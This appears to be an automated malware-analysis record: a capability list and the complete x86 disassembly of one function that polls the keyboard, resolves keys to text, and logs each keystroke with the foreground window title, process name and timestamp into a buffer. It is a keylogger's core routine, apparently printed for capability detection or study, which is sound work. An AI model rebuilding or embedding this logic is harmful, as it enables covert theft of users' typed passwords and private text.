Function at 0x4f00c0
Capabilities:
Enumerate process modules
Get graphical window text
Get keyboard layout
Get process image filename
Log keystrokes via polling
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x568ef6
mov eax, dword fs:[0]
push eax
sub esp, 0xb90
mov eax, dword [0x5b3680]
xor eax, esp
mov dword [esp + 0xb88], eax
push ebx
push esi
push edi
mov eax, dword [0x5b3680]
xor eax, esp
push eax
lea eax, [esp + 0xba0]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
mov dword [esp + 0x28], esi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ebx, eax
mov dword [esp + 0x24], ebx
test ebx, ebx
je 0x4f0bb8
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 0
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov dword [esp + 0x6c], eax
test eax, eax
je 0x4f0bb8
push 0x104
lea eax, [esp + 0x990]
push eax
push ebx
call dword [sym.imp.USER32.dll_GetClassNameW]
push 0x104
lea eax, [esp + 0x788]
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextW]
xor eax, eax
push 0x206
push eax
mov word [esp + 0x584], ax
lea eax, [esp + 0x586]
push eax
call fcn.00531bd0
add esp, 0xc
push dword [esp + 0x1c]
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
jne 0x4f01b9
push 0x58db9c
lea eax, [esp + 0x580]
push 0x104
push eax
call fcn.0052c92e
add esp, 0xc
jmp 0x4f02ce
cmp dword [0x5ba530], 0
jne 0x4f01f2
lea eax, [esp + 0x5c]
push eax
push 4
lea eax, [esp + 0x1c]
push eax
push edi
call dword [sym.imp.PSAPI.DLL_EnumProcessModules]
push 0x104
lea eax, [esp + 0x580]
push eax
push dword [esp + 0x1c]
push edi
call dword [sym.imp.PSAPI.DLL_GetModuleBaseNameW]
jmp 0x4f02c7
push 0x104
lea eax, [esp + 0x580]
push eax
push edi
call dword [sym.imp.PSAPI.DLL_GetProcessImageFileNameW]
test eax, eax
lea eax, [esp + 0x57c]
jne 0x4f0229
push 0x58db9c
push 0x104
push eax
call fcn.0052c92e
add esp, 0xc
jmp 0x4f02c7
push eax
lea ecx, [esp + 0x18]
call fcn.004031c0
mov dword [esp + 0xba8], 0
lea ecx, [esp + 0x14]
push 0x5c
call fcn.00447f40
cmp eax, 0xffffffff
je 0x4f0299
mov ecx, dword [esp + 0x14]
mov ecx, dword [ecx - 0xc]
sub ecx, eax
lea eax, [esp + 0x20]
dec ecx
push ecx
push eax
lea ecx, [esp + 0x1c]
call fcn.00415dc0
mov byte [esp + 0xba8], 1
push dword [eax]
lea eax, [esp + 0x580]
push 0x104
push eax
call fcn.0052c92e
add esp, 0xc
mov byte [esp + 0xba8], 0
lea ecx, [esp + 0x20]
call fcn.00402750
jmp 0x4f02b3
push 0x58db9c
lea eax, [esp + 0x580]
push 0x104
push eax
call fcn.0052c92e
add esp, 0xc
mov dword [esp + 0xba8], 0xffffffff
lea ecx, [esp + 0x14]
call fcn.00402750
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x100
lea eax, [esp + 0x279]
mov byte [esp + 0x278], 0
push 0
push eax
call fcn.00531bd0
xor eax, eax
push 0x1fe
push eax
mov word [esp + 0x390], ax
lea eax, [esp + 0x392]
push eax
call fcn.00531bd0
xor eax, eax
push 0x1fe
push eax
mov word [esp + 0x94], ax
lea eax, [esp + 0x96]
push eax
call fcn.00531bd0
xor ebx, ebx
lea eax, [esp + 0x298]
push 0x100
push ebx
push eax
mov dword [esp + 0x44], ebx
call fcn.00531bd0
push 0x2c
lea eax, [esp + 0x64]
push ebx
push eax
call fcn.00531bd0
mov edi, dword [esp + 0xa8]
lea eax, [esp + 0x68]
add esp, 0x3c
mov dword [esp + 0x2c], 0x30
push eax
push edi
call dword [sym.imp.USER32.dll_GetGUIThreadInfo]
mov eax, dword [esp + 0x38]
test eax, eax
je 0x4f037e
lea ecx, [esp + 0x1c]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov edi, eax
lea eax, [esp + 0x274]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
push edi
mov byte [esp + 0x1f], bl
mov byte [esp + 0x1e], bl
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
mov edx, dword [esi]
mov edi, eax
cmp edx, 0x20
je 0x4f03ce
lea ecx, [edx - 0x30]
cmp ecx, 0x2a
jbe 0x4f03ce
lea eax, [edx - 0x60]
cmp eax, 0xf
jbe 0x4f03ce
lea eax, [edx - 0xba]
cmp eax, 6
jbe 0x4f03ce
lea eax, [edx - 0xdb]
cmp eax, 4
ja 0x4f047b
push edi
push 2
push edx
call dword [sym.imp.USER32.dll_MapVirtualKeyExW]
test eax, eax
jns 0x4f03ed
or ebx, 0xffffffff
mov dword [0x5ba524], eax
mov dword [esp + 0x14], ebx
jmp 0x4f0485
push edi
push 0
push 0x100
lea eax, [esp + 0x388]
push eax
lea eax, [esp + 0x284]
push eax
push dword [esi + 4]
push dword [esi]
call dword [sym.imp.USER32.dll_ToUnicodeEx]
mov ebx, eax
mov eax, dword [0x5ba524]
mov dword [esp + 0x14], ebx
test eax, eax
je 0x4f047b
mov cx, word [esp + 0x37c]
mov word [esp + 0x5e], ax
xor eax, eax
push 3
mov word [esp + 0x64], ax
mov dword [0x5ba524], eax
lea eax, [esp + 0x70]
push eax
push 3
lea eax, [esp + 0x68]
mov word [esp + 0x68], cx
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_FoldStringW]
test eax, eax
je 0x4f047b
lea eax, [esp + 0x6c]
push eax
lea eax, [esp + 0x380]
push 0x100
push eax
call fcn.0052c92e
add esp, 0xc
mov byte [esp + 0x1b], 1
mov byte [esp + 0x1a], 1
mov byte [esp + 0x13], 0
cmp ebx, 0xffffffff
jne 0x4f04dd
mov eax, dword [esi + 4]
mov dword [esp + 0x6c], eax
mov eax, dword [esi]
push 0x14
mov byte [esp + 0x17], 1
mov dword [esp + 0x24], eax
call fcn.0050e106
mov esi, dword [esp + 0x70]
add esp, 4
mov ebx, dword [esp + 0x20]
mov dword [esp + 0x5c], eax
lea ecx, [ecx]
push 0xff
call fcn.0050e106
add esp, 4
push edi
push 0
push 0xa
push dword [esp + 0x68]
push eax
push esi
push ebx
call dword [sym.imp.USER32.dll_ToUnicodeEx]
test eax, eax
js 0x4f04b0
mov esi, dword [esp + 0x28]
mov ebx, dword [esp + 0x14]
jmp 0x4f053c
cmp dword [esi], 0xd
je 0x4f051f
mov ecx, 0x592e10
lea eax, [esp + 0x37c]
mov edi, edi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x4f0516
test dx, dx
je 0x4f0512
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x4f0516
add eax, 4
add ecx, 4
test dx, dx
jne 0x4f04f0
xor eax, eax
jmp 0x4f051b
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4f053c
push str.Enter
lea eax, [esp + 0x380]
push 0x100
push eax
call fcn.0052c92e
add esp, 0xc
or ebx, 0xffffffff
mov eax, dword [0x5ba52c]
test eax, eax
je 0x4f057b
cmp byte [0x5b9c6a], 0
je 0x4f057b
push edi
xor ecx, ecx
xorps xmm0, xmm0
push ecx
push 5
mov word [esp + 0x68], cx
lea ecx, [esp + 0x68]
push ecx
push 0x5c0998
push dword [0x5ba528]
movq qword [esp + 0x76], xmm0
push eax
call dword [sym.imp.USER32.dll_ToUnicodeEx]
mov ebx, eax
mov eax, dword [esi + 4]
mov dword [0x5ba528], eax
mov eax, dword [esi]
mov dword [0x5ba52c], eax
mov al, byte [esp + 0x13]
mov byte [0x5b9c6a], al
lea eax, [esp + 0x274]
push 0x101
push eax
push 0x101
push 0x5c0998
call fcn.005297ad
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [esp + 0x38c]
add esp, 0x10
mov dword [esp + 0x14], eax
test ebx, ebx
jle 0x4f0749
xor cl, cl
test byte [esp + 0x285], 0x80
mov byte [esp + 0x13], cl
je 0x4f05f9
push 0x58db00
lea eax, [esp + 0x78]
push eax
call edi
push 0x592e34
lea eax, [esp + 0x78]
push eax
call edi
mov cl, 1
mov byte [esp + 0x13], cl
test byte [esp + 0x286], 0x80
mov ebx, 0x592e30
mov edx, 0x58db00
je 0x4f0633
test cl, cl
mov eax, ebx
cmove eax, edx
push eax
lea eax, [esp + 0x78]
push eax
call edi
push 0x592e40
lea eax, [esp + 0x78]
push eax
call edi
mov cl, 1
mov edx, 0x58db00
mov byte [esp + 0x13], cl
test byte [esp + 0x2cf], 0x80
jne 0x4f0647
test byte [esp + 0x2d0], 0x80
je 0x4f0666
test cl, cl
lea eax, [esp + 0x74]
cmove ebx, edx
push ebx
push eax
call edi
push 0x592e48
lea eax, [esp + 0x78]
push eax
call edi
mov cl, 1
mov byte [esp + 0x13], cl
test byte [esp + 0x284], 0x80
je 0x4f068c
test cl, cl
je 0x4f068c
push 0x592e30
lea eax, [esp + 0x78]
push eax
call edi
push str.Shift
lea eax, [esp + 0x78]
push eax
call edi
test byte [esi + 8], 0x80
jne 0x4f08c4
cmp byte [esp + 0x13], 0
je 0x4f06f9
push 0x592e30
lea eax, [esp + 0x78]
push eax
call edi
push 0x100
lea eax, [esp + 0x380]
push eax
movzx eax, byte [esi + 8]
shl ax, 8
movzx ecx, ax
movzx eax, byte [esi + 4]
or ecx, eax
shl ecx, 0x10
push ecx
call dword [sym.imp.USER32.dll_GetKeyNameTextW]
lea eax, [esp + 0x37c]
push eax
lea eax, [esp + 0x78]
push eax
call edi
push 0x58db10
lea eax, [esp + 0x78]
push eax
call edi
lea esi, [esp + 0x74]
mov dword [esp + 0x14], esi
jmp 0x4f08cf
mov eax, dword [esi]
cmp eax, 0x1b
je 0x4f0715
cmp eax, 8
je 0x4f0715
lea esi, [esp + 0x37c]
mov dword [esp + 0x14], esi
jmp 0x4f08cf
push 0x100
lea eax, [esp + 0x380]
push eax
movzx eax, byte [esi + 8]
shl ax, 8
movzx ecx, ax
movzx eax, byte [esi + 4]
or ecx, eax
shl ecx, 0x10
push ecx
call dword [sym.imp.USER32.dll_GetKeyNameTextW]
mov eax, 0x3c
mov word [esp + 0x74], ax
jmp 0x4f06d1
cmp byte [esp + 0x1a], 0
jne 0x4f08c4
cmp byte [esp + 0x13], 0
jne 0x4f08c4
push 0x100
lea eax, [esp + 0x380]
push eax
movzx eax, byte [esi + 8]
shl ax, 8
movzx ecx, ax
movzx eax, byte [esi + 4]
or ecx, eax
shl ecx, 0x10
push ecx
call dword [sym.imp.USER32.dll_GetKeyNameTextW]
test eax, eax
je 0x4f08c4
xor cl, cl
test byte [esp + 0x285], 0x80
je 0x4f07b5
push 0x58db00
lea eax, [esp + 0x78]
push eax
call edi
push 0x592e34
lea eax, [esp + 0x78]
push eax
call edi
mov cl, 1
test byte [esp + 0x286], 0x80
mov ebx, 0x592e30
mov edx, 0x58db00
je 0x4f07eb
test cl, cl
mov eax, ebx
cmove eax, edx
push eax
lea eax, [esp + 0x78]
push eax
call edi
push 0x592e40
lea eax, [esp + 0x78]
push eax
call edi
mov cl, 1
mov edx, 0x58db00
test byte [esp + 0x2cf], 0x80
jne 0x4f07ff
test byte [esp + 0x2d0], 0x80
je 0x4f081c
test cl, cl
mov eax, ebx
cmove eax, edx
push eax
lea eax, [esp + 0x78]
push eax
call edi
push 0x592e48
lea eax, [esp + 0x78]
push eax
call edi
mov cl, 1
test byte [esp + 0x284], 0x80
je 0x4f0846
test cl, cl
mov eax, 0x58db00
cmove ebx, eax
lea eax, [esp + 0x74]
push ebx
push eax
call edi
push str.Shift
lea eax, [esp + 0x78]
push eax
call edi
mov cl, 1
test byte [esi + 8], 0x80
jne 0x4f08c4
mov eax, dword [esi]
cmp eax, 0xa2
je 0x4f08c4
cmp eax, 0xa3
je 0x4f08c4
cmp eax, 0xa4
je 0x4f08c4
cmp eax, 0xa5
je 0x4f08c4
cmp eax, 0x5b
je 0x4f08c4
cmp eax, 0x5c
je 0x4f08c4
cmp eax, 0xa0
je 0x4f08c4
cmp eax, 0xa1
je 0x4f08c4
test cl, cl
je 0x4f0897
push 0x592e30
lea eax, [esp + 0x78]
push eax
call edi
jmp 0x4f06d1
lea eax, [esp + 0x37c]
mov dword [esp + 0x74], 0x3c
push eax
lea eax, [esp + 0x78]
push eax
call edi
push 0x58db10
lea eax, [esp + 0x78]
push eax
call edi
lea eax, [esp + 0x74]
mov dword [esp + 0x14], eax
jmp 0x4f08cf
cmp byte [esp + 0x1b], 0
je 0x4f0bb8
push 0x5ba568
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x5ba54c]
cmp dword [ebx + 0x268], 0
jne 0x4f08fb
push 5
lea eax, [ebx + 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ebx, dword [0x5ba54c]
cmp dword [ebx + 0x25c], 0
mov esi, dword [sym.imp.KERNEL32.dll_HeapReAlloc]
jne 0x4f09cf
mov eax, dword [esp + 0x24]
push 0x440
push dword [ebx + 0x258]
mov dword [ebx + 0x25c], eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call esi
mov esi, dword [0x5ba54c]
push 0x440
push 0
push eax
mov dword [esi + 0x258], eax
call fcn.00531bd0
mov eax, dword [esi + 0x258]
add esp, 0xc
mov dword [eax], 0x440
lea eax, [esp + 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov eax, dword [0x5ba54c]
mov eax, dword [eax + 0x258]
add eax, 0x410
push eax
lea eax, [esp + 0x60]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [esp + 0x784]
push eax
mov eax, dword [0x5ba54c]
mov eax, dword [eax + 0x258]
add eax, 4
push eax
call esi
lea eax, [esp + 0x57c]
push eax
mov eax, dword [0x5ba54c]
mov eax, dword [eax + 0x258]
add eax, 0x20c
push eax
call esi
mov ebx, dword [0x5ba54c]
mov esi, dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov dword [ebx + 0x24c], 1
mov eax, dword [esp + 0x24]
cmp dword [ebx + 0x25c], eax
je 0x4f0b0d
push 0
lea eax, [ebx + 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ecx, dword [0x5ba54c]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov eax, dword [ecx + 0x258]
mov dword [ecx + 0x268], 1
mov eax, dword [eax]
add eax, dword [ecx + 0x250]
push eax
push dword [ecx + 0x254]
push 8
call ebx
push eax
call esi
mov esi, dword [0x5ba54c]
mov ecx, dword [esi + 0x258]
mov dword [esi + 0x254], eax
push dword [ecx]
push ecx
mov ecx, dword [esi + 0x250]
add ecx, eax
push ecx
call fcn.00531580
mov ecx, dword [esi + 0x258]
add esp, 0xc
mov eax, dword [ecx]
add dword [esi + 0x250], eax
push 0x440
push ecx
push 8
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov esi, dword [0x5ba54c]
push 0x440
push 0
push eax
mov dword [esi + 0x258], eax
call fcn.00531bd0
mov eax, dword [esi + 0x258]
add esp, 0xc
mov dword [eax], 0x440
lea eax, [esp + 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov eax, dword [0x5ba54c]
mov eax, dword [eax + 0x258]
add eax, 0x410
push eax
lea eax, [esp + 0x60]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [esp + 0x784]
push eax
mov eax, dword [0x5ba54c]
mov eax, dword [eax + 0x258]
add eax, 4
push eax
call ebx
lea eax, [esp + 0x57c]
push eax
mov eax, dword [0x5ba54c]
mov eax, dword [eax + 0x258]
add eax, 0x20c
push eax
call ebx
mov ebx, dword [0x5ba54c]
mov eax, dword [esp + 0x1c]
mov ecx, dword [ebx + 0x258]
mov dword [ecx + 0x40c], eax
inc dword [ebx + 0x24c]
mov eax, dword [esp + 0x24]
push dword [esp + 0x14]
mov esi, dword [ebx + 0x258]
mov dword [ebx + 0x25c], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
add dword [esi], eax
mov eax, dword [ebx + 0x258]
push dword [eax]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov ecx, dword [0x5ba54c]
push dword [esp + 0x14]
mov dword [ecx + 0x258], eax
add eax, 0x43c
push eax
call edi
lea eax, [esp + 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov eax, dword [0x5ba54c]
mov eax, dword [eax + 0x258]
add eax, 0x420
push eax
lea eax, [esp + 0x60]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
mov eax, dword [0x5ba54c]
add eax, 0x3c
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov ecx, dword [0x5ba54c]
push 0x5ba568
mov edx, dword [ecx + 0x258]
mov eax, dword [ecx + 0x3c]
mov dword [edx + 0x434], eax
mov eax, dword [ecx + 0x40]
mov dword [edx + 0x438], eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [esp + 0xba0]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb88]
xor ecx, esp
call fcn.005295e2
mov esp, ebp
pop ebp
ret 4